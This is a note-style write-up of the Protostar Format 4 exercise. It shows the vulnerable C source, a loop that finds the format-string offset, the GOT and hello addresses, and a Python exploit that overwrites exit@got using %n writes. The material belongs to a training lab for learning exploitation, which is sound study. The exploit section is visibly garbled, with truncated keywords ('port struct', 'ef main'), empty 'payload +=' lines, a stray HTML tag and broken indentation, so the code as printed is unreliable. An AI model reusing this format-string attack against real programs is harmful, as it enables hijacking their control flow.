# Format 4 protostar

Sunday, 16 June 2019 4:37 PM

#### Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
    printf("code execution redirected! you win\n");
    _exit(1);
}

void vuln()
{
    char buffer[512];
    fgets(buffer, sizeof(buffer), stdin);
    printf(buffer);
    exit(1);
}

int main(int argc, char **argv)
{
    vuln();
}
```

### Find parameters

user@protostar:~/dev\$ for i in {1..20}; do echo \$i; echo \$(python -c "print 'AAAA%\$i\\$x'") | /opt/protostar/bin/ format4; echo; done\_

## Lies at 4

4

AAAA41414141

#### Address of exit plt

```
Exit plt
0x0804850f <vuln+61>: call 0x80483ec <exit@plt>
```

# Address of hello function

```
Dump of assembler code for function hello:
0x080484b4 <hello+0>: push ebp
Entry address for hello function
```

Objective: To ovewrite exit@got with hello address

# Exploit code

```
port struct
ef main():
           target_addr = 0x08049724 # 08049724 00000707 R_386_JUMP_SLOT 00000000
          first_write = struct.pack("<I", target_addr)
second_write = struct.pack("<I", target_addr + 1)
third_write = struct.pack("<I", target_addr + 2)
fourth_write = struct.pack("<I", target_addr + 3)</pre>
          hello_addr = 0x80484b4 # 0x080484b4 <hello+0>: push ebp
          payload = ""
payload += first_write
payload += second_write
payload += third_write
payload += fourth_write
          # 0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x10101010 # 0xb4 - 0x10 = 0xa4(164) payload += "%164x"
          payload +=
             0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x0000b4b4
0x184 - 0xb4 = 0xd0(208)
avload += "%208x"
          payload +=
          payload +=
              0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x018484b4
0x104 - 0x84 = 0x80(128)
          payload +=
          # 0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x040484b4
# 0x8 - 0x4 = 0x4 -> 4 A's for padding
payload += "A" * 4
payload += "%7$n"
          payload +=
            print payload
  __name_
            main()
```

## Overwriting successful